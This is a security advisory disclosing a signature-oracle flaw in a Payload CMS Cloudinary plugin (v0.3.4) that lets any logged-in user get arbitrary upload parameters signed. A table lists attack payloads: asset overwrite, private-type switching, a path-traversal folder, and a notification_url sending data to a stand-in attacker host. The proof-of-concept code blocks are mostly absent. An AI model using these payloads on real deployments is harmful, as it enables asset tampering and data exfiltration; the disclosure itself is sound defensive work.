GHSA-h5x8-xp6m-x6q4: @jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing
Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-pluginSummary`@jhb.software/payload-cloudinary-plugin` v0.3.4 exposes a server-side signing endpoint (`POST /api/cloudinary-generate-signature`) that passes attacker-supplied `paramsToSign` directly to `cloudinary.utils.api_sign_request()` without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters — including `overwrite=true`, `type=private`, `notification_url`, and path-traversal folder values — enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account.DetailsWhen `clientUploads: true` is configured, the plugin registers a signing handler at `cloudinary/src/index.ts:74-79`. The handler is implemented in `cloudinary/src/getGenerateSignature.ts`.**Vulnerable code path (step by step):**`cloudinary/src/index.ts:58` — `initClientUploads` registers the server upload handler.`cloudinary/src/index.ts:68` — The Cloudinary API key is exposed to client handler props by design.`cloudinary/src/index.ts:74-79` — The signing endpoint is mounted at `/cloudinary-generate-signature`.`cloudinary/src/getGenerateSignature.ts:18` — The default access control checks only `!!req.user`, permitting any authenticated user.`cloudinary/src/getGenerateSignature.ts:46` — The entire request body is parsed: `const body = await req.json?.()`.`cloudinary/src/getGenerateSignature.ts:55` — **Vulnerable sink**: attacker-controlled `body.paramsToSign` is forwarded verbatim to the signing function.There are **no** mitigations in place:No parameter key allowlist (attacker can include `overwrite`, `type`, `notification_url`, `invalidate`, etc.)No folder/public_id policy enforcement (the plugin's `folder` option from `index.ts` is never passed to `getGenerateSignature`)No timestamp freshness checkNo restriction on path traversal sequences in `folder` or `public_id`Dynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures:| Case | paramsToSign | Impact |
|------|-------------|--------|
| CASE-2 | `folder=attacker-controlled, overwrite=true` | Overwrite any existing asset |
| CASE-3 | `type=private, public_id=admin-document` | Change asset visibility / bypass access control |
| CASE-4 | `notification_url=http://attacker.example.com/exfil` | SSRF / data exfiltration via Cloudinary webhook |
| CASE-5 | `folder=../../../../admin-assets, invalidate=true` | Path traversal + CDN cache invalidation |Python-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input.PoC**Prerequisites:**`@jhb.software/payload-cloudinary-plugin@0.3.4` deployed with `clientUploads: true`An authenticated Payload session (any privilege level)Knowledge of `CLOUDINARY_CLOUD_NAME` and the client-exposed API key (exposed by design at `index.ts:68`)**Step 1 — Obtain a signature for arbitrary parameters (bash):****Step 2 — Use the minted signature to upload directly to Cloudinary:****Expected result:** Cloudinary returns a successful upload JSON for `attacker/overwrite-target` — an asset path the plugin never intended to authorize.**Automated PoC (Python):**The script (`poc.py`) posts five distinct `paramsToSign` payloads and independently verifies each returned signature using `hashlib.sha1`. All five cases return HTTP 200 with a mathematically valid signature, confirming the vulnerability.**Sample output (Phase 2 evidence):****Recommended fix:**ImpactThis is an **Improper Verification of Cryptographic Signature** vulnerability (CWE-347). The signing endpoint is intended to authorize legitimate client-side uploads, but because `paramsToSign` is never validated, it acts as an unrestricted signature oracle for any authenticated user.**Who is impacted:** All deployments of `@jhb.software/payload-cloudinary-plugin` that set `clientUploads: true`. This is a non-default but officially recommended production configuration for Vercel deployments (documented in the plugin README).**Concrete attack outcomes:****Asset overwrite** (`overwrite=true`): attacker replaces any existing media asset in the Cloudinary account, enabling content tampering or defacement.**Access-control bypass** (`type=private`): attacker changes the delivery type of uploaded assets, potentially exposing or hiding content beyond what the application intends.**SSRF / data exfiltration** (`notification_url`): Cloudinary issues an HTTP callback to the attacker-controlled URL upon upload completion, leaking upload metadata and enabling server-side request forgery.**Path traversal** (`folder=../../../../...`, `invalidate=true`): attacker writes to or invalidates assets in arbitrary Cloudinary folders, including administrative paths outside the configured upload directory.The Cloudinary API key is exposed to the client by the plugin itself (`index.ts:68`), so an attacker already holds three of the four required upload components (cloud name, API key, timestamp). The signing endpoint provides the missing fourth (signature), completing the attack chain with a single authenticated request.Reproduction artifacts`Dockerfile``poc.py`
CVSS v3.1: 7.1